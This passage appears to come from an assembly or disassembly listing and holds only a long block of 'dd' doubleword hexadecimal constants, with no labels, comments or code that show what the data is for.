dd 4A14179h, 847A8708h, 0E124AF63h, 97BFC784h, 0B7039B51h
dd 9F06B3A2h, 316765E1h, 28C325B4h, 0D20808F9h, 0D9870F29h
dd 54A964C9h, 2C894276h, 0A5E4DDA8h, 4AE8567Ah, 3EEF9FC0h
dd 0BC1796DFh, 985E1494h, 8007EE05h, 1837802Ah, 47583367h
dd 0D4D0186h, 91E9720Ch, 0EFCE162Ah, 4A492CCAh, 1026680Bh
dd 28982130h, 812D540Fh, 0CC5F2EF7h, 38C1827Fh, 0D13B7C50h
dd 0C3FAE90Ch, 0C92CC7F3h, 6388C958h, 0C180026Dh, 18E330A2h
dd 0E287C7B7h, 0F4557585h, 0F1C3C644h, 23E37F90h, 0CCBF4EE4h
dd 62C5B958h, 7DC327DAh, 0C2631CAFh, 9BCACEFDh, 21EF2C7h
dd 0A6A5AD0h, 7AB3CD82h, 2B39A5Fh, 763FFEF8h, 0BBA7BB9Ch
dd 0F103D142h, 0D10362EDh, 0F4EB3C2h, 0FEFCE47Fh, 0A9202A58h
dd 0F3015913h, 228CD9EAh, 12825897h, 0FB657A0Dh, 422828C1h
dd 0EB250569h, 0A230E0F7h, 0AC16CE73h, 0EE9C51C4h, 209502B3h
dd 2875CB13h, 229D5F93h, 0FFDC4500h, 934225DBh, 2E946C28h
dd 43D04499h, 1D3E8703h, 0EC9A92E2h, 4271C9BAh, 170E84E5h
dd 0EB4D0A8h, 0EA6151BFh, 41C2FE53h, 30289DCDh, 0FD5F13FEh
dd 9E4E23A2h, 41E91AC8h
dd 847955A5h, 0C051E843h, 0B8E0D168h, 0A02F9ABCh, 98FEEB53h
dd 0EFA54EABh, 0AF4B42CAh, 0EFDB5688h, 8AEE8100h, 0FE9D5027h
dd 60236069h, 689577A8h, 8037FAC9h, 273E8C05h, 0F740382Dh
dd 5C161C25h, 58C106DCh, 22093C55h, 82647710h, 0E0676DE1h
dd 735AD5C0h, 204D2F7h, 1FEE2F28h, 53C27AE2h, 0D71A39C0h
dd 0FAECBA28h, 93ED9BDh, 0B9DD8CB5h, 0B26B518Eh, 381AC077h
dd 30E923F0h, 0CBDB583Ch, 60E21298h, 0B44A4690h, 41067BE4h
dd 53FA2AF5h, 8DBD05CCh, 6241AF46h, 0F5109CFh, 8E4097Eh
dd 76A91CE3h, 0D7896A27h, 4744EE83h, 57F36972h, 7640BBD5h
dd 0D827D7F6h, 0A05D9F37h, 0E1885A67h, 0CF302D58h, 0C7C35BD6h
dd 0F6E79987h, 0E90BC16Bh, 95F725Bh, 0FFFFCEBh, 0F9956650h
dd 0B7E61EDBh, 0E05BD472h, 69D11308h, 34C1F120h, 2E7E2B71h
dd 7718C3FCh, 0A95C4E01h, 0A10841D8h, 2303141Ch, 5599A41h
dd 0D94C2124h, 3576C218h, 0B468BBC8h, 459A6274h, 75A210C4h
dd 522D1408h, 4F59321Dh, 0CAD7C6A7h, 0A1BFE664h, 0A4579828h
dd 0FD26CD52h, 65D9D59Ah, 63A7B08h, 2F88CFE9h, 212AB645h
dd 2A4A7566h, 4F06D7CCh, 57F1C81Eh, 0D26C9B9Dh, 0C35DF4DFh
dd 5000B7CEh, 8438E8BAh, 58D1894Fh, 0FE075E5Ah, 606DDE09h
dd 0B59F2C9h, 9D41543Eh, 8FC2F7E9h, 0B3CB015Dh, 0F6B0EBE5h
dd 13579FCFh, 0A2ABECBDh, 0C7FCE5F4h, 0F8BB1h, 270D4AB8h
dd 0C0F06FD6h, 2205FAA0h, 3FF24800h, 6A914E2Dh, 87014ACDh
dd 0ADF41B7Bh, 0B1C6F684h, 12B3C187h, 0BBA34EE2h, 56E99467h
dd 2E666624h, 0A4BE390h, 29EAF684h, 28B82A90h, 2C78E9B1h
dd 64BB02C4h, 4079C008h, 0F8F7A030h, 5FBBB886h, 0DC4697DEh
dd 0D179E40h, 0C32C30D7h, 0F9E91257h, 3261E7EFh, 0C8826D13h
dd 0B5D6F6BEh, 0F03BB069h, 91B58316h, 0CAF9C20Bh, 87D4A3FBh
dd 0DD35E923h, 7FAE8F20h, 5B56E4BFh, 4860F59h, 41EB5A70h
dd 6323D801h, 7BCAFB78h, 711779FAh, 2FE921Ch, 0AE4C2DD7h
dd 0D07FCCC0h, 12C9C388h, 0BF5BDE30h, 0E913B1B3h, 3588B058h
dd 0D35E0500h, 0F1254869h, 4D5B3D5Ah, 0E4A51679h, 0B713AFB3h
dd 0AC6AE9CDh, 0A380E46Ch, 4BD44CE8h, 68938128h, 0D2603A3Dh
dd 0DCC9E950h, 0F987A42h, 0E2860A25h, 0EEB8CAE4h, 0FF97627Eh
dd 905E2AB1h, 0C033CE2Ch, 2F9980C8h, 2A683130h, 0E0DF66FFh
dd 27B9B35Ch, 93BC8E45h, 0FD4CA20Bh, 0D0D73BBAh, 5401394Dh
dd 975E2927h, 0BB260A48h, 0BC06142h, 300A02DDh, 200372E2h
dd 3E987C1Fh, 59FE8180h, 221E3958h, 0E5C1142Ch, 0C45AEA06h
dd 0C428E66Ch, 839480E9h, 0B5A2DAC6h, 0D969DDD1h, 6C509882h
dd 0C6976147h, 52712002h, 424E682Dh, 82E6CE17h, 282D61ABh
dd 0C70E9629h, 144223BFh, 0F3C2DF01h, 0EE290805h, 75DA6891h
dd 585B5220h, 68043E51h, 0EF71B734h, 0A5CD724Fh, 31F45E5Ah
dd 0EE6F13C9h, 0FA6A522Fh, 0D0DA28CDh, 34AB856h, 0B0505323h
dd 6E7A8852h, 0EFFAD7E6h, 0B1AECED2h, 0E82C6EA8h, 0E82F4FB2h
dd 507E5842h, 0AD5E41BDh, 0A55845A7h, 74D1E22Dh, 31800596h
dd 0D3766CB8h, 7945FA9Eh, 0D5958048h, 0E9F065F8h, 71BD23B2h
dd 6A32C99Ch, 0A30E4875h, 5366BF5Ch, 0D76A522Bh, 2D26A908h
dd 68618B7Dh, 80428DAEh, 40FCE821h, 8612D1Ch, 7842E017h
dd 767D3E68h, 54CE676Eh, 0B28EBF2h, 0D4459559h, 0D51621C5h
dd 335655FCh, 4480680Bh, 3055789Ah, 0B75EF23Ch, 0D44B3094h
dd 0BB5B95FEh, 5CC722B3h, 246009E9h, 5D4E0268h, 0D91063A3h
dd 10014849h, 291298FBh, 0B54717F7h, 0CFB8FB55h, 0B7185A7Bh
dd 2B704F22h, 0E7842DD3h, 0FD892BFFh, 0EB66208Eh, 0E91BDB08h
dd 0F0A34B13h, 5C4859C0h, 0C207DB02h, 0C00FA03Ch, 0AC71DCF3h
dd 0D6182060h, 0B038E478h, 0BDF40C27h, 0EE6E3EB1h, 31591913h
dd 82750BAh, 66F75B1Eh, 0E9050386h, 0BA8472D3h, 0EFE52CFCh
dd 0F2591128h, 62766431h, 6E27C377h, 2B1EA04h, 85EB6201h
dd 0A2D5EA84h, 0E2E4D901h, 0D5FE4BB4h, 0FE21DDB0h, 53C0E913h
dd 0A4C0BCFCh, 52166772h, 0E91BFAF2h, 8320C44Fh, 5957B9CEh
dd 0B11EA323h, 0A16392A6h, 6BD2F63Fh, 136B3509h, 5F97892Bh
dd 0C82A4C4h, 3EACC7DFh, 314E22A0h, 578B6CBDh, 22709B8h
dd 64472097h, 24226142h, 205DCE01h, 0E639D08h, 288910C4h
dd 820FB006h, 0C544DB31h, 39B28FCAh, 61369C0Bh, 7823152h
dd 89D7745Fh, 8E145A51h, 587518CBh, 0E89BD2BAh, 36ADF4B1h
dd 6F38457Ah, 97E93E7h, 4E9948AEh, 33C96903h, 3D4284Ch
dd 0D8285975h, 0E9C18C5Bh, 0E573C08Ch, 120B552Eh, 0BE8F56B4h
dd 0CC6B7B29h, 964EA246h, 8BF52121h, 6873B900h, 3105F80Ah
dd 0C500E1CDh, 8372F2DDh, 623CF02Dh, 791E7822h, 0F6E2D000h
dd 0EA803FDAh, 0AC46302Fh, 0A2291120h, 0F70A644Dh, 0FE2EFCD5h
dd 78549162h, 0C86AE7D9h, 11BF3E6Dh, 0B43AC5A6h, 60FF5F3Fh
dd 671415A0h, 58E6653Dh, 0CAE7047Dh, 12EB9621h, 5CEF0C97h
dd 2DEEC67Dh, 5A7EC827h, 79088251h, 63766BFCh, 14B0FE65h
dd 88531C51h, 5BF98FE7h, 0E4012185h, 5E1E4A79h, 9DD62A28h
dd 0B86EA0h, 1B2D332Bh, 0B64D7B35h, 520D411Dh, 8119C88Fh
dd 60B95ACAh, 25ACE7D4h, 85D7D6B4h, 79D2D390h, 8976FE5Eh
dd 18556185h, 4E5D684Ch, 1298E35Bh, 3780E4h, 0C67A3C82h
dd 0A4BB0460h, 0C149B65Ah, 0E453526Eh, 74173407h, 52178906h
dd 44632CBEh, 0E545C566h, 0A740932h, 0D15240D9h, 1C66C620h
dd 2412C480h, 30A43A20h, 606C40C2h, 98F67CA5h, 0EB8BA295h
dd 3D43FF5Dh, 8BD553DAh, 0EB7FD1A6h, 0E95E4C05h, 2C7D1D29h
dd 0EE074D10h, 0C4646CEDh, 6B90EBEAh, 0B6800AE9h, 93E269B9h
dd 5915F95Fh, 95012F82h, 0D0F62DB0h, 97B1331h, 5D625F90h
dd 0EDFF6F2h, 3BBAC8h, 3C5E5B68h, 42505A4Eh, 7B162393h
dd 71F5528h, 60AF024Ch, 95209D67h, 11785FCBh, 8EBDECF3h
dd 2AA27797h, 5402AB7Ch, 213CFD5Eh, 3CD2E912h, 0A6D221E9h
dd 1F781002h, 5A391748h, 2DC1EB92h, 19E47E75h, 0BEE6B7A1h
dd 0E7305795h, 36260E9h, 0DC3FF5F1h, 31727C54h, 31EEB8D6h
dd 725D82D6h, 0E1B99602h, 161A1510h, 1580D8F7h, 60613290h
dd 7A730A0Ah, 0CB000568h, 3110E203h, 637EE9C5h, 5455EE39h
dd 9F802BAh, 0EBDAF195h, 74772C1Ah, 0DD89AFADh, 0E912D63Eh
dd 0E6ABCF91h, 38680B38h, 0C2A6F97Fh, 245750BFh, 9DC25ADFh
dd 9FFC840Fh, 1822EB12h, 2DF15C8Bh, 778CC9F1h, 0BEB3D25h
dd 8857C50Ch, 5BDBC055h, 0DD013D78h, 2D086828h, 0EEDB295Fh
dd 945AFF3Dh, 2C25B6F9h, 5D69A6EEh, 0B2310529h, 2E58CDBBh
dd 43FA2149h, 37976984h, 4CA372D7h, 6431D750h, 0D4ECBF0Ch
dd 0BD071DA8h, 90C4B009h, 0FF6F86F2h, 13E3820h, 0AFF617CCh
dd 2DAEBC5Fh, 788AF943h, 0D5F713F5h, 392A20B4h, 1CC0445Dh
dd 54D49917h, 883AC3B1h, 4ED8E937h, 1ECABF3Ah, 8B0C3341h
dd 848ABFDh, 5EE85A2Dh, 0E60681ECh, 0BCE9070Ah, 0C18488CBh
dd 2DBEB8E2h, 685AF12Eh, 8EAB244Ah, 37F44BEAh, 0E6265B42h
dd 72688374h, 0F8EF842Ah, 0A3BEE52Ah, 78C02C26h, 616ABE81h
dd 0DE9850E4h, 37428207h, 0B2968898h, 0B014E905h, 0FA04D0F9h
dd 0AA56AB72h, 5D0442EDh, 0A34AAF68h, 0DF191090h, 0E2E58101h
dd 703A8F28h, 1658D96Dh, 1CE90B9Ah, 287E596Ch, 919A54A6h
dd 1E30BB9h, 88FE4AC1h
dd 5CE2EE82h, 9B9982F1h, 0AF9C0D9Eh, 0CF42C1Ah, 5B2E3C0Ch
dd 4C8249CEh, 2C9527DDh, 0ACFD5489h, 0AF842C26h, 0A654D6F4h
dd 0AB681693h, 0EEADCC2Bh, 49EAD6B7h, 0AF5898D4h, 0F9DE2DE9h
dd 0D2FA1F1Ah, 1F11E72Ah, 415ACEF0h, 59CF54E3h, 90F5710h
dd 4288E9C1h, 0DF6C7759h, 1976D6A0h, 409DCD7Bh, 251732B0h
dd 0CF707BFAh, 560806C6h, 1311F450h, 0D7894BD0h, 9C4A31A8h
dd 3F082563h, 7AB8D603h, 0C60C0434h, 0B815D910h, 3BB14ADFh
dd 0B21EEC3Eh, 5B71565Eh, 0E7B8D83Fh, 68B5E917h, 0F9F84FFAh
dd 0F9CC3A04h, 56910ED4h, 0D5292B6Fh, 0E904C865h, 5CC9E713h
dd 6BCFA86Bh, 0DB4B5D0Ch, 0E7B0AEE5h, 31EA27E9h, 2FD8E3Ah
dd 5F6E6648h, 6C251247h, 0C6B6279Eh, 0F3023AD7h, 4AD813E3h
dd 62565F2Bh, 0E22039D9h, 5C52070Ch, 0FBE7862Fh, 2925AB70h
dd 0E79D7CF5h, 0E3FD2BEFh, 252283A4h, 90575E28h, 1BE56C5h
dd 379D08C0h, 9210B3E9h, 0F2BEC25Dh, 5EE9F09Ch, 39D59780h
dd 0A96F5208h, 66EB82CDh, 0EE976020h, 8F5709B1h, 9084555Bh
dd 83AD02B2h, 0F48E07Fh, 0DC8E3084h, 1B306816h, 4512179Bh
dd 5017A7BAh, 7B5B01B9h, 0ABD386A3h, 12D451E2h, 0BE87D5B1h
dd 47CE1FCDh, 83F60A70h, 46681539h, 0E87D4516h, 0D706C4F2h
dd 0EC36C45Ah, 5D582FEFh, 11684110h, 5F9F0D70h, 739E7738h
dd 51A5797h, 431AFD54h, 5FDE5F66h, 0C3678650h, 2A4ABA9Fh
dd 248DCAC9h, 1870B480h, 644FE77Ah, 0F5EBE192h, 0C156CD29h
dd 75CA2609h, 6AA8425Bh, 90512920h, 0D33B056Ch, 0EA55D6CBh
dd 4BBB99B4h, 0C4D28D20h, 715E3E17h, 3E0E2AAEh, 0F9E9835Ch
dd 381FA579h, 7A92540Ch, 8BA7484Fh, 0C5FBB916h, 73F3BBA3h
dd 263CAE5Ah, 3F6A2CE9h, 93596793h, 4E02A562h, 8FE6B7BEh
dd 20635F5Ch, 0FAD2129Dh, 17A353F0h, 103E786Eh, 0C3028650h
dd 18197D42h, 0DBE286D5h, 1B9EC408h, 43F116E4h, 0E12DAF3Ah
dd 0F3BA020h, 5F7FF879h, 0C002E785h, 0E1E4E8EBh, 1255FF4Dh
dd 89FAACFAh, 3E5E2147h, 0DB6D704h, 83C4B8EAh, 27522968h
dd 80C2AAE3h, 0D572137Eh, 7F498B59h, 1BE38480h, 0E9124211h
dd 0A7F33AD0h, 622B4505h, 0DAF50161h, 2F7A5705h, 8427E2C0h
dd 0B513B05Fh, 5445468Bh, 11FD25BFh, 0DFF24897h, 0FDAA619Ch
dd 64C965F5h, 0A8F9BE54h, 4294FED6h, 0CBAB8913h, 1DEE905Eh
dd 0F525E689h, 0C5D72232h, 419C92ACh, 3C1ABEB3h, 0C8F03AB9h
dd 0EF4BB748h, 0E4C1EA95h, 0D8D47D2Ch, 9CC9E904h, 16ACED2Fh
dd 80CC3ED1h, 36BAD3h, 0DE3F58B9h, 0EBBCBF0Ah, 0D0415D25h
dd 0B89B07Ah, 4C3C2B15h, 32A0B7D0h, 581D6C8h, 7140D4E8h
dd 2AE4F781h, 0C2C609Bh, 19DB4E09h, 0B6093B90h, 5D1D7C16h
dd 340855A8h, 5214001Ch, 175960BAh, 96426228h, 304C2416h
dd 86EA3300h, 2794AC7Ah, 0D845D101h, 3D38A188h, 2F4BE782h
dd 17D2B57h, 0D5FDF7B5h, 0BC18177Ah, 38E9F1FFh, 0E035A46Ah
dd 9D5EDDB8h, 0E4129D8Ah, 0A29FBC28h, 2036F256h, 0F0BD26E1h
dd 45126984h, 98B9B65Fh, 496298DAh, 0A141D8BAh, 5426317Ch
dd 91E970FFh, 9FF51A5Fh, 0F686F60h, 75D961B8h, 8AA58CC5h
dd 13583EFFh, 28BA5DC7h, 5B5FDAB7h, 43DE80E8h, 0FA87E9EAh
dd 0CC032C4Eh, 99C1E180h, 0C9466F1h, 52208EBCh, 0CF814701h
dd 179A5A86h, 9BA8C30h, 11A2697Fh, 0DDEFA95Dh, 0C60092EBh
dd 0C4806CB4h, 0C6E7309Dh, 0CF94209Ah, 0DA35C277h, 0F4FB0E45h
dd 4A13CB4Fh, 12EA6834h, 5948082Dh, 0F6A91C30h, 30D17BE0h
dd 5216CD5Bh, 0C195CAB2h, 71F1A8E1h, 7CBAC150h, 0E1C2450h
dd 0BC70025h, 8C2DDEAFh, 9C52858h, 0D31D4FE9h, 0A2C198CAh
dd 73DEFD7Fh, 4FF7FE2Fh, 5F34BFC1h, 17FE2D15h, 7F5233E9h
dd 0F8B356AAh, 7CE2B7C0h, 36FB8287h, 0A9F35Dh, 5E28B005h
dd 8409B850h, 0DC37BC6Fh, 92CD3828h, 66035669h, 5092585Bh
dd 0B99D515Dh, 5DAE3F09h, 0DC03E1F4h, 0FBA251C0h, 4C05D0E8h
dd 0FC985F64h, 72D2863h, 1B60536Ah, 19C12889h, 0F9784E1Ah
dd 599BCE4Fh, 266512E4h, 0B1AA6495h, 21EF3BA2h, 0A5AC964Ch
dd 32DEF8E5h, 5F7A225Eh, 0B07262F2h, 2953771Eh, 970C2023h
dd 0D580354h, 26929233h, 2C2515Fh, 610E6527h, 0E949E0DFh
dd 2F159E94h, 0F04CD7B2h, 0AADFE913h, 5917A1F3h, 12BCBD1Fh
dd 0D8AE8032h, 0BA2D68A3h, 25149841h, 96559566h, 0AF7A9D91h
dd 67C3E32Dh, 741A25F9h, 87EBA355h, 7A6B182Fh, 0CFD2ED03h
dd 0F22B0581h, 8048271Fh, 4ABD2DC9h, 29100AE3h, 280705D0h
dd 0D99F30BDh, 0FD27EEC3h, 60EAD72Dh, 1DD32D1Bh, 401ECF48h
dd 17C91145h, 583F7705h, 0A0F1CF67h, 11CA0707h, 7E391BA2h
dd 485CA554h, 9AF6EF42h, 0FBC6508Ch, 0DE2880D7h, 556927FCh
dd 2BC05FACh, 225D843h, 0E66150D0h, 91C98FBh, 856184Ch
dd 51BF80DDh, 0CB37B1E9h, 779C2C1h, 6436590Bh, 1608201Ch
dd 17A9BF4Eh, 389FB44Ah, 74DA4E41h, 132D0203h, 80095883h
dd 4CFBC3ADh, 82256A54h, 7B2F0221h, 5CDC348Ch, 0C6E1C92Fh
dd 76482AE8h, 10F6062Dh, 40B3356Ch, 7F4ADF09h, 750570Ch
dd 52410882h, 66B802C6h, 29C14AADh, 4CD16ADCh, 0E03CF947h
dd 1525508Fh, 5909A43Fh, 26E33C5Bh, 8FBA114h, 13998384h
dd 747B04BBh, 0EBD19843h, 529D9B5Bh, 0ED2CBA2Eh, 0DC422EEEh
dd 0A1701228h, 0D3FC6A56h, 8623ACB4h, 3E29F5C5h, 32946DEAh
dd 0A509D735h, 358E6022h, 80B1CDAh, 67882400h, 76900ACAh
dd 488B859Fh, 7760D141h, 5FD94233h, 0D4CAEF01h, 0CC11E06h
dd 41B91D6Fh, 73FA2800h, 0F6E255h, 505DEDCEh, 0E4C83E61h
dd 86EA993Bh, 5B0603E4h, 0D5C0B406h, 14840F8h, 45A2028Ah
dd 829D2F5h, 7AF01E9h, 0DA011A5Ch, 58160808h, 128DCEEFh
dd 0EF9C6913h, 0D86564D5h, 0D8FDAF5Dh, 0FBCF5E7Bh, 0CB60194Eh
dd 0D14FA04Ch, 0C9C57C3Fh, 2D750CDh, 5777B796h, 5667F55Ch
dd 0D790D4B2h, 6CDF733Ah, 0C17FEF46h, 8125DD12h, 0CD97BA1Eh
dd 0B03BFD56h, 0E297F3E8h, 0DB59D7BAh, 8279CBEBh, 69680114h
dd 55D766Dh, 11C15C6Bh, 4DFB0EAh, 0A2D187B5h, 0CC39FECh
dd 53DE44F8h, 5610C60Ch, 0A20B19E3h, 6A02A51Ah, 75093520h
dd 4C2791D3h, 1CDC20A9h, 0DDE3D125h, 26603501h, 7DF06BD6h
dd 6DD0BD5Bh, 71D4859Dh, 0CD4F42A2h, 213319Ch, 5D58FDA0h
dd 0CD09F99Fh, 61A83B36h, 54E997D2h, 8C2D8058h, 3748C906h
dd 0E9460927h, 0F5CDE82Eh, 6A5B0555h, 0E6EE0132h, 32AF4B07h
dd 0A5DCD0B2h, 0C3895A04h, 0E84A0ACBh, 0CC2B841Dh, 75D80907h
dd 5B0CE0ABh, 0AB795A5Eh, 0FD6AC6FDh, 0B6E8E5ADh, 96853C0h
dd 6A5A9906h, 0EBC1E0B2h, 0CE75B748h, 6AE7977h, 0A06904E9h
dd 6F76B904h, 81BB3B3Fh, 0C2A13A05h, 792AE15Dh, 0CB9FF74h
dd 63247EACh, 581DE124h, 0C98732D4h, 56A040B8h, 93286568h
dd 4C850F34h, 27FA0457h, 12BE1EC4h, 2BF3E23h, 0ED685D60h
dd 60D4F457h, 370F3542h, 0DFB2121h, 3E2453F3h, 7AD94BBEh
dd 0CEDF0FE2h, 7C0C2EB8h, 25C1A257h, 0CB221C56h, 0DD098FD3h
dd 78D1A080h, 4B127337h, 81AF387h, 1A427D08h, 64C5280h
dd 94A516Bh, 27E207C3h, 42F89B96h, 0B0556D20h, 3AB13F01h
dd 52504B25h, 0F9C0392Fh, 0DB54CBF7h, 0D4EEFE71h, 8C21886Ch
dd 0B51F801Fh, 0DB2CCE8Bh, 0E0DCA5E3h, 0ACA8DABFh, 4044D98Fh
dd 97D0ECA2h, 0AF9DD4FAh
dd 0E520ABCDh, 82323DC8h, 65130CE0h, 0CA951252h, 0B5080AB0h
dd 0AD44D017h, 5EBBF9F6h, 961ACB2Fh, 0B12204EAh, 7C55BEFBh
dd 868449AFh, 2C461635h, 9C560C7h, 0BF4B97C3h, 3102AC7Ch
dd 750E6468h, 0E9308A5Ah, 9FB94D36h, 2F4247Bh, 22200236h
dd 0DE7E235Bh, 0A21FE000h, 0C1D9F724h, 3F66791Eh, 0E8EDF991h
dd 676F4F78h, 9E37A00Ch, 4E8BE943h, 113EB45Eh, 0E584B2B4h
dd 0F50450B8h, 5301AE52h, 9A69E9EFh, 23C9AE07h, 8216F0DDh
dd 0BC71DFC1h, 22FF6C62h, 0ADC6CB31h, 174A652Ch, 982F7440h
dd 0D7F7285Ah, 4817702h, 0C347C2BEh, 0A380AF89h, 0B5C0E9DAh
dd 119A42E8h, 8AEC5481h, 5416D418h, 0CA5F2977h, 4BFB1EEEh
dd 2AF89974h, 0C0B5BEB2h, 800D14CDh, 704A7F68h, 0E5C0D9ECh
dd 0BB610C48h, 0E90BE161h, 0CE6F2D95h, 6FC44A36h, 4E0FDA01h
dd 2330DCC5h, 8D515A5Bh, 72F48AC6h, 0F2A5B04Ah, 6790201Ch
dd 8B32E8B0h, 0C0E65117h, 0DA8AEAA8h, 0F9DD9673h, 14B65853h
dd 1233C5BDh, 0BC8717F0h, 0C3F95B50h, 0A2B0593h, 316B88DDh
dd 8977114h, 6AEC51D7h, 73E77B0h, 4232ED60h, 7A57B9F7h
dd 20530570h, 0C6E92AFBh, 0C6054589h, 23B178BFh, 217D4FEh
dd 0BA71E908h, 84F7E72h, 0C16010B5h, 0D5D2049Ch, 0BB59CE29h
dd 0D82ECE2Dh, 22AE9EDh, 314AA568h, 790799EFh, 7AD18051h
dd 3F718F3h, 72A00DD8h, 0E03199Fh, 3A33F435h, 1EC6A849h
dd 473E483Ch, 0C75DA500h, 61E78117h, 3B4D5605h, 0D556F9E9h
dd 0FE02031h, 0B52A9C49h, 0AA034426h, 0EA0932D4h, 60F14260h
dd 240D9F41h, 0C00B2C38h, 334E1605h, 0F9014C75h, 291D0858h
dd 7412DD8h, 0CCE66FE9h, 4315941Bh, 5E00E58Eh, 0FA65B0B8h
dd 0A0E8C102h, 203E0ADh, 0D1B63540h, 0BF585FFDh, 0D0D4DA80h
dd 8968BE16h, 0E9A191AFh, 5DE742Ah, 3DB2569Fh, 7DD8C125h
dd 4B34D99Dh, 23277E6Ch, 62AD5454h, 20551557h, 0A34E9EF8h
dd 68216966h, 39AA2600h, 0ACB80C18h, 42550225h, 93C8F591h
dd 5125313Dh, 15E75DE4h, 8734D525h, 0C5FFE94Eh, 0E9CAEAABh
dd 5D953532h, 0D8C473E2h, 8BF32918h, 9F38F6B7h, 0DB27EC66h
dd 0DC2A686Ch, 415E8143h, 1414B0Fh, 736ADDF7h, 40B41B7Ah
dd 60FAACFh, 8AE79018h, 8B60DFD6h, 0BE07BD55h, 0C12C1B56h
dd 450282DBh, 49FE20E3h, 81015310h, 27760BCDh, 14414D50h
dd 80003BA8h, 594B11C3h, 4B68C4CCh, 31DF8D57h, 8BD9A749h
dd 0D3A9D5B2h, 0B90A7A4h, 0C2D5715Dh, 0E92202C6h, 25CF7E73h
dd 5D276B67h, 5182B1E5h, 5DE0D4E9h, 374EB846h, 3BC55C4h
dd 949430A9h, 0E922FD81h, 1B02580h, 5F12142Dh, 350143DAh
dd 329248C2h, 69B0B32Eh, 31F89048h, 0AA1C9757h, 3B2AE3B0h
dd 5A90E829h, 36D1F607h, 9BD2D740h, 0D680144h, 4C57733Bh
dd 608D1080h, 0A54F0A48h, 648FEC28h, 80E690B5h, 0F5AB4CEAh
dd 33E7742Dh, 0E9DD8701h, 69883028h, 1A3D781Fh, 0F0A561DEh
dd 0C1D35F95h, 7B46A216h, 4A7435B3h, 5D02D050h, 7D1FCE57h
dd 5453FE89h, 8B34A3C4h, 713B6BFh, 58E48004h, 0D03BEC37h
dd 0CA280FE1h, 8ACB5966h, 0A738EED8h, 35EA5A4Ah, 60C1EA5Ah
dd 6C56DB26h, 77E5A21Bh, 8A279EDAh, 0BED3A099h, 90724264h
dd 0D980092Fh, 0FB58A63Bh, 418D5101h, 0B850F301h, 58C30850h
dd 1F7BBD5Eh, 0F955F8C2h, 0AD253CE1h, 0D3777309h, 5787C255h
dd 0A03B6C77h, 0BC5170F7h, 54505031h, 7E32AE7h, 0C21B0193h
dd 0F0375246h, 0DD3BEEFh, 0BB5D16AAh, 6B75F7CBh, 3E55640Eh
dd 943EC6A7h, 0F1050D73h, 0C1400E49h, 45709684h, 9F5EF021h
dd 35AFE5C8h, 59B6D495h, 70452C68h, 0E1E0B3B5h, 0CC2A5C6Bh
dd 0DE52083Ah, 314905DFh, 0D4FB1183h, 0B60817F9h, 0E9EE505Fh
dd 0E165AB30h, 168F6857h, 4413D15h, 117A08Ah, 0FBF05BBDh
dd 4CEAF342h, 41F89D20h, 6BBB531Dh, 29410EC4h, 4FF033B1h
dd 7CDE3B0Ah, 6E86C204h, 46EAD7FDh, 709F5C7Eh, 0D5213B08h
dd 0D0A60C92h, 0F8167143h, 0B12D4C7Bh, 2B8A99B9h, 0AD5FC128h
dd 0A1A4C42Ah, 3676BF00h, 89972BECh, 0E29789BBh, 0FCE1FDFFh
dd 0EC1B3159h, 0D19D11C0h, 0CB1A0896h, 0A610572Fh, 4232D2F7h
dd 834251h, 685BFDBDh, 0EA29C50Eh, 5DF9AB5Dh, 2F3E9166h
dd 4F19965Bh, 0E7F691EAh, 3EA7F9E3h, 5FC35202h, 0FBEFC30Dh
dd 902BC018h, 0FEFD7B01h, 176F7AEDh, 0F1293616h, 808044Dh
dd 571DAE84h, 91E1B996h, 5EB3C878h, 18C42219h, 0D8DDDFC5h
dd 784CFA6Ch, 0A514102Ch, 0DF2809FFh, 43852B10h, 0E42D6A9Ah
dd 70B7DE06h, 0D582C411h, 17D8BE2h, 0C71C6E13h, 75EA9F25h
dd 30F1F550h, 6140FF38h, 0B4F30180h, 5103E3C0h, 5C5FC2B1h
dd 68C90384h, 972E79E9h, 0CB805989h, 1661527Fh, 5E313C1h
dd 40AFC50h, 2DF45E78h, 5F8BC1C3h, 2F9AC8Bh, 0BCE842F6h
dd 0BD25C01h, 9BDF336Bh, 1E1225C8h, 6272E874h, 667E02E7h
dd 6578FC3Ch, 5B98D271h, 574BAAF1h, 4C20EA34h, 35C6971Fh
dd 0F205790h, 0CF292C76h, 0ECC3130Dh, 0C6BBA2A9h, 87F3258Ah
dd 748C4D2h, 308513E3h, 42102EB8h, 0C0AB4A37h, 4135EF9Fh
dd 0CC5B162Dh, 0D2FD339Ch, 0F9835866h, 60D128F9h, 4597F8B1h
dd 167524BEh, 0C4CDB8BBh, 0BA136F05h, 6C41231Eh, 6D0C2D40h
dd 923F77D5h, 0E6EAA442h, 0C00EC25Fh, 2F30E498h, 0B303574Ch
dd 21A1BEEDh, 0D423A534h, 2ABB0CDEh, 7C09F785h, 2251E477h
dd 0FA4C3F59h, 3D560B4Ah, 150433A1h, 0F0280716h, 5F829772h
dd 0D0E221ABh, 0E4D960F7h, 2FE13CBFh, 0DF484B7h, 2028B01Fh
dd 4F9BB1D0h, 0AAD084E7h, 0BCD6ACF6h, 0E7C082E8h, 77295202h
dd 7AB88178h, 85418AFCh, 503BB67Bh, 551643E0h, 0F8A907DCh
dd 0C3660841h, 7D14B44Ah, 0B4667440h, 0E05A3AFEh, 0B8A7E4Bh
dd 0A1E16CD4h, 5F02284Fh, 0B3F61AE6h, 31AF72BDh, 95156BA6h
dd 31DD2248h, 3C3B5A02h, 32E9C204h, 44FC25Fh, 54A94EF8h
dd 0DCE5B0D3h, 76E55402h, 0F8D9E95Dh, 0F1293FA2h, 4E3D4CE0h
dd 58605E04h, 4A675710h, 58CABD28h, 0D20C080Ch, 5DBD2C13h
dd 4BB699BBh, 16474CCCh, 9F0F71BFh, 6ACFA07Fh, 9016311Ch
dd 0EC227719h, 7C558902h, 8013243h, 946C4833h, 7C794C4Ch
dd 27773068h, 0F76A89DDh, 0E9063B47h, 52F23C5h, 0B255E3E5h
dd 0EDF0FA52h, 0EB4BBD33h, 2156B6D1h, 0B9B76E47h, 0AC3C407Eh
dd 130A2C3Ch, 24EB4A40h, 26BF04ADh, 0C9FE072Eh, 0F5697029h
dd 2E75EBCCh, 1194CB28h, 5CCA60E6h, 9D5E5456h, 8F7428DFh
dd 0B45FC287h, 0B945FEF9h, 1F377585h, 0D0808819h, 0BE3A9B41h
dd 4E811010h, 368BE9F3h, 217903A9h, 4E925966h, 0C73274B5h
dd 0FD5F1122h, 0B7D47F68h, 0B8E90802h, 925CC0Bh, 174A356Bh
dd 4948055h, 984CAA20h, 586C7DDFh, 0BF0021EAh, 2D7B0666h
